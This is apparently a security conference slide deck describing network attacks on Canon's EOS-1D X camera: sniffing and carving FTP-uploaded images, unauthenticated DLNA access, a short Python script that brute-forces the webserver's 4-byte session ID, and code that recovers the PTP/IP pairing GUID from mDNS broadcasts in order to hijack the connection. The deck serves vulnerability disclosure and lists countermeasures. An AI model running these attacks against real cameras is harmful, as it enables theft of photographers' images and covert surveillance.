




Paparazzi over IP

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Who we are



- Old-school network geeks, working as security researchers for Germany based ERNW GmbH
 - Independent
 - Deep technical knowledge
 - Structured (assessment) approach
 - Business reasonable recommendations
 - We understand corporate
- Blog: www.insinuator.net
- Follow @WeareTROOPERS on Twitter



Agenda

- Intro
- Transport Protocols
- Communication Modes & Attacks
- Conclusions





Intro



- A number of current high-end cameras have network interfaces.
- We did some research as for their security and potential attack paths.
- In the following we focus on Canons new flagship **EOS 1D X**, but similar problems might be found in other models, of other vendors, too.



The Camera

Canon EOS-1D X





The Camera

A Bit of Marketing

you can
Canon

- From Canon USA:
 - A built in Ethernet port allows for fast, easy transfer of images directly to a PC or via a network to clients from live events.
 - The EOS-1D X is compatible with the new WFT-E6A Wireless File Transmitter for wireless LAN transfer with the IEEE 802.11 a/b/g/n standards.



The Camera

The Ethernet Port





The Camera

WLAN Adapter



Wireless File Transmitter
WFT-E6A



GPS Receiver
GP-E1





The Target

aka. Mr. Reuters





The Target

What if




- One could get the real, unedited images first.
- One could upload (bad) images.
- One could turn the camera into a surveillance device.



Transport

The underlying Protocols





Transport



- Wired LAN via built-in Ethernet port or Wireless LAN via WFT-E6A.
- Standard TCP/IP (no IPv6, yet).



Traditional Attacks

Layer 2



- ARP-spoofing possible.
 - No “sticky” ARP entries
- ARP-flooding with ~100 packets per second DoS the network stack.



Traditional Attacks

Layer 3/4



- TCP/IP is used for all network communication.
- Established connections can be killed via TCP-RST.



Communication Modes





Communication Modes

Overview



- FTP Upload Mode
- DLNA
- Built-in webserver
- EOS Utility



FTP Upload Mode





FTP Upload Mode

Mode of operation



- Target server and credentials configured on camera.
- Photos taken are uploaded to the server immediately.



FTP Upload Mode

Downside



- As FTP is clear text, credentials can be sniffed.
- As well as the complete data transmission
- Uploaded pictures can be extracted from network traffic.



FTP Upload Mode

```
File Edit View Search Terminal Help
[0][talyndrae@caturix troopers ]ls
FTP-Image-trace.cap
[0][talyndrae@caturix troopers ]tcpflow -r FTP-Image-trace.cap
[0][talyndrae@caturix troopers ]ls
192.168.001.103.61313-192.168.001.105.00021 192.168.001.103.61325-192.168.001.105.00020
192.168.001.103.61314-192.168.001.105.00020 192.168.001.103.61326-192.168.001.105.00020
192.168.001.103.61315-192.168.001.105.00021 192.168.001.103.61327-192.168.001.105.00020
192.168.001.103.61316-192.168.001.105.00020 192.168.001.103.61328-192.168.001.105.00020
192.168.001.103.61317-192.168.001.105.00021 192.168.001.103.61329-192.168.001.105.00020
192.168.001.103.61318-192.168.001.105.00020 192.168.001.103.61330-192.168.001.105.00020
192.168.001.103.61319-192.168.001.105.00020 192.168.001.103.61331-192.168.001.105.00020
192.168.001.103.61320-192.168.001.105.00020 192.168.001.105.00021-192.168.001.103.61313
192.168.001.103.61321-192.168.001.105.00020 192.168.001.105.00021-192.168.001.103.61315
192.168.001.103.61322-192.168.001.105.00020 192.168.001.105.00021-192.168.001.103.61317
192.168.001.103.61323-192.168.001.105.00020 FTP-Image-trace.cap
192.168.001.103.61324-192.168.001.105.00020
[0][talyndrae@caturix troopers ]foremost -i 192*
Processing: 192.168.001.103.61313-192.168.001.105.00021
|*|
Processing: 192.168.001.103.61314-192.168.001.105.00020
|*|
Processing: 192.168.001.103.61315-192.168.001.105.00021
|*|
Processing: 192.168.001.103.61316-192.168.001.105.00020
|*|
Processing: 192.168.001.103.61317-192.168.001.105.00021
|*|
Processing: 192.168.001.103.61318-192.168.001.105.00020
|*|
Processing: 192.168.001.103.61319-192.168.001.105.00020
|*|
Processing: 192.168.001.103.61320-192.168.001.105.00020
```



FTP Upload Mode

```
File Edit View Search Terminal Help
Processing: 192.168.001.103.61328-192.168.001.105.00020
|*|
Processing: 192.168.001.103.61329-192.168.001.105.00020
|*|
Processing: 192.168.001.103.61330-192.168.001.105.00020
|*|
Processing: 192.168.001.103.61331-192.168.001.105.00020
|*|
Processing: 192.168.001.105.00021-192.168.001.103.61313
|*|
Processing: 192.168.001.105.00021-192.168.001.103.61315
|*|
Processing: 192.168.001.105.00021-192.168.001.103.61317
|*|
[0][talyndrae@caturix troopers ]ls
192.168.001.103.61313-192.168.001.105.00021 192.168.001.103.61325-192.168.001.105.00020
192.168.001.103.61314-192.168.001.105.00020 192.168.001.103.61326-192.168.001.105.00020
192.168.001.103.61315-192.168.001.105.00021 192.168.001.103.61327-192.168.001.105.00020
192.168.001.103.61316-192.168.001.105.00020 192.168.001.103.61328-192.168.001.105.00020
192.168.001.103.61317-192.168.001.105.00021 192.168.001.103.61329-192.168.001.105.00020
192.168.001.103.61318-192.168.001.105.00020 192.168.001.103.61330-192.168.001.105.00020
192.168.001.103.61319-192.168.001.105.00020 192.168.001.103.61331-192.168.001.105.00020
192.168.001.103.61320-192.168.001.105.00020 192.168.001.105.00021-192.168.001.103.61313
192.168.001.103.61321-192.168.001.105.00020 192.168.001.105.00021-192.168.001.103.61315
192.168.001.103.61322-192.168.001.105.00020 192.168.001.105.00021-192.168.001.103.61317
192.168.001.103.61323-192.168.001.105.00020 FTP-Image-trace.cap
192.168.001.103.61324-192.168.001.105.00020 output
[0][talyndrae@caturix troopers ]ls output/jpg
00000000_10.jpg 00000000_13.jpg 00000000_2.jpg 00000000_5.jpg 00000000_8.jpg
00000000_11.jpg 00000000_14.jpg 00000000_3.jpg 00000000_6.jpg 00000000_9.jpg
00000000_12.jpg 00000000_1.jpg 00000000_4.jpg 00000000_7.jpg 00000000.jpg
[0][talyndrae@caturix troopers ]
```



DLNA mode





DLNA mode

Overview



- Digital Living Network Alliance®
- UPnP used for discovery.
- DLNA guidelines for file formats, encodings, resolutions.
- HTTP and XML used to access media.



DLNA mode

Cons

- No authentication.
- No restrictions.
- Every DLNA client can download `_all_` images.
- Your Browser could be a DLNA client.
Or somebody else's browser. For your camera.



Built-in webserver

Always a good idea...





Built-in webserver

Canon WFT Server

- Wireless File Transmitter Server Mode.
- Canon USA:
“Use a web browser to capture, view and download images remotely”



Built-in webserver

Canon WFT Server



- Browser interface uses AJAX.
- Embedded webserver only capable of HTTP GET method.
 - Every other request method is answered with a 404.



WTF ?!?!

Built-in webserver

Authentication



- Authentication via HTTP Basic (RFC 2617) on login page.
- Session cookie is used afterwards.

WTF ?!?!

- Cookie looks like `sessionID=40b1`
 - 4 (!!!!) byte Session ID
 - 65535 possible IDs



Built-in webserver



- Session ID Brute force implemented in 6 lines of python.
- To check for all possible IDs takes about 20 minutes.
 - Embedded Webserver is not that responsive.



```
import requests

target_uri = 'http://192.168.1.103/api/cam/lvoutput'
target_string = 'SESSION_ERR'

for i in xrange(0xffff):
    if (i != 0 and i%1000 == 0):
        print str(i) + 'IDs checked'
    r = requests.get(target_uri, cookies={'sessionID': '%x' %i})
    if r.text.find(target_string) == -1:
        print 'SessionID is : sessionID=%x' %i
        break
```





Built-in webserver

recap



- Full access to Live View, stored photos and camera settings.
- You surf – We brute.



Built-in webserver

Requirements



- Camera in WFT Server mode.
- Valid session opened by user.
- Some minutes of time.



EOS Utility mode

aka. I wanna be root



EOS Utility mode


The Utility





EOS Utility mode

The Utility





EOS Utility mode

Overview



- Allows remote control of all non-manual camera functions.
- Pictures can be up- and downloaded.
- Possibly even more (sound recording anyone?)



EOS Utility mode

Technical



- SSDP and MDNS used for discovery.
- PTP/IP used for communication.
- Needs initial camera <-> software pairing.



EOS Utility mode

Pairing



- At first use, credentials need to be exchanged between the camera and the client software.
- Camera must be put into pairing mode via camera menu.
- Camera signals the need for pairing via MDNS.



▼ Answers

```
▷ CWCcb0c96.local: type A, class IN, cache flush, addr 192.168.200.217
▷ 217.200.168.192.in-addr.arpa: type PTR, class IN, cache flush, CWCcb0c96.local
▷ ICPO-WFTEOSSystemServicecb0c96._ptp._tcp.local: type SRV, class IN, cache flush, priority 0, weight 0, port 15740, target CWCcb0c96.local
▼ ICPO-WFTEOSSystemServicecb0c96._ptp._tcp.local: type TXT, class IN, cache flush
    Name: ICPO-WFTEOSSystemServicecb0c96._ptp._tcp.local
    Type: TXT (Text strings)
    .000 0000 0000 0001 = Class: IN (0x0001)
    1... .. = Cache flush: True
    Time to live: 1 minute
    Data length: 198
    Text: srvver.canon.com=1.0
    Text: mf.canon.com=Canon
    Text: md.canon.com=Canon Digital Camera
    Text: mp.canon.com=Canon EOS 200D
    Text: tid.canon.com=00000000-0000-0000-0001-FFFFFFFFFFFF
    Text: srv.canon.com=
    Text: myhwa.canon.com=888717cb0c96
▷ _services._mdns._udp.local: type PTR, class IN, _ptp._tcp.local
▷ _ptp._tcp.local: type PTR, class IN, ICPO-WFTEOSSystemServicecb0c96._ptp._tcp.local
```




EOS Utility mode

Pairing

EOS cameras detected on network.
Choose a camera for pairing.


Camera model	MAC address	IP address
Canon EOS-1D X	88:87:17:CB:0C:96	192.168.200.2...

Connect



EOS Utility mode

Pairing



- Client software connects to camera via PTP/IP.
- PTP/IP Authentication is successful regardless of the credentials.
- Credentials (hostname, GUID) are stored on the camera.




PTP/IP

Feels like USB over IP)-:





PTP/IP



- Picture Transfer Protocol over Internet Protocol.
- ISO 15740.
- Standardized by International Imaging Industry Association



PTP/IP

Packet format




- Wrapper for PTP with header:
 - 4 byte length (little endian)
 - 4 byte type (little endian)
 - data



PTP/IP

Layering





PTP/IP

Authentication



- PTPIP_INIT_COMMAND_REQUEST
 - Includes authentication data:
 - 16 byte GUID
 - hostname string

PTPIP_INIT_COMMAND_REQUEST

2a 00 00 00 01 00 00 00 eb 7a 78 9d 69 cb 64 4e
a3 e0 fc 96 ef 59 79 42 73 00 65 00 72 00 76 00
65 00 72 00 00 00 00 00 01 00

Paket length = 42 byte

Paket type = 0x01 = PTPIP_INIT_COMMAND_REQUEST

GUID

Hostname = "server" @ utf16

Trailer



The Attack

aka. gottcha



Attack

Getting the Credentials



- Client Hostname easy discoverable, but not needed.
 - Camera also accepts connections with a different hostname.
- GUID unknown to client software.
- Obfuscated GUID is broadcasted by the cam via UPNP.



▼ Answers

```
▶ CWCcb0c96.local: type A, class IN, cache flush, addr 192.168.200.217
▶ 217.200.168.192.in-addr.arpa: type PTR, class IN, cache flush, CWCcb0c96.local
▶ ICPO-WFTEOSSystemServicecb0c96._ptp._tcp.local: type SRV, class IN, cache flush, priority 0, weight 0, port 15740, target CWCcb0c96.local
▼ ICPO-WFTEOSSystemServicecb0c96._ptp._tcp.local: type TXT, class IN, cache flush
    Name: ICPO-WFTEOSSystemServicecb0c96._ptp._tcp.local
    Type: TXT (Text strings)
    .000 0000 0000 0001 = Class: IN (0x0001)
    1... .. = Cache flush: True
    Time to live: 1 minute
    Data length: 198
    Text: srvver.canon.com=1.0
    Text: mf.canon.com=Canon
    Text: md.canon.com=Canon Digital Camera
    Text: mp.canon.com=Canon EOS 1000
    Text: tid.canon.com=9D787AEB-CB69-4E64-A3E0-FC96EF597942
    Text: srv.canon.com=
    Text: myhwa.canon.com=888717cb0c96
▶ _services._mdns._udp.local: type PTR, class IN, _ptp._tcp.local
▶ _ptp._tcp.local: type PTR, class IN, ICPO-WFTEOSSystemServicecb0c96._ptp._tcp.local
```



```
tmp = mdns_info.getProperties()['tid.canon.com'].split('-')
guid = []
l = lambda s: [ s[i:i+2:] for i in xrange(0,len(s),2) ][::-1]
for i in xrange(0,3):
    guid += l(tmp[i])
guid += tmp[3]
guid += tmp[4]
guid = "".join(guid)

guid = eb7a789d69cb644ea3e0fc96ef597942
```



The Attack

Connecting to the Camera



- Camera only allows one connection.
- Already connected client needs to be disconnected.
- TCP-RST the established PTP/IP connection.



Attack

Process



- Listen for the Cam on MDNS.
- De-obfuscate Authentication data.
- Disconnect connected Client Software.
- Connect via PTP/IP.
- Have Fun (-;





Attack outlined

So you can write it down



- Photograph uses hotel / Starbucks WLAN, which isn't unlikely during events (think of CEBIT few days ago).
- Almost anybody in the same LAN can download the images from the camera (and even more).



Countermeasures



- Enable network functionality only in trusted Networks.
- Use WPA and a secure passphrase for (your trusted) WLAN.



Conclusions



- High-end cameras are yet another daily life item equipped with networking capabilities incl. full-blown IP stacks.
- Once more, their device-specific network technologies have been designed and implemented without (too much) security in mind.
- Again, this leads to (classes of) attacks previously unknown to their non-networked counterparts.



Next Steps



New series of cameras (EOS 6D)

- Built-in Wireless Access Point
- New communication protocol for IOS/Android App

There's never enough time...

THANK YOU...



...for yours!

Questions?

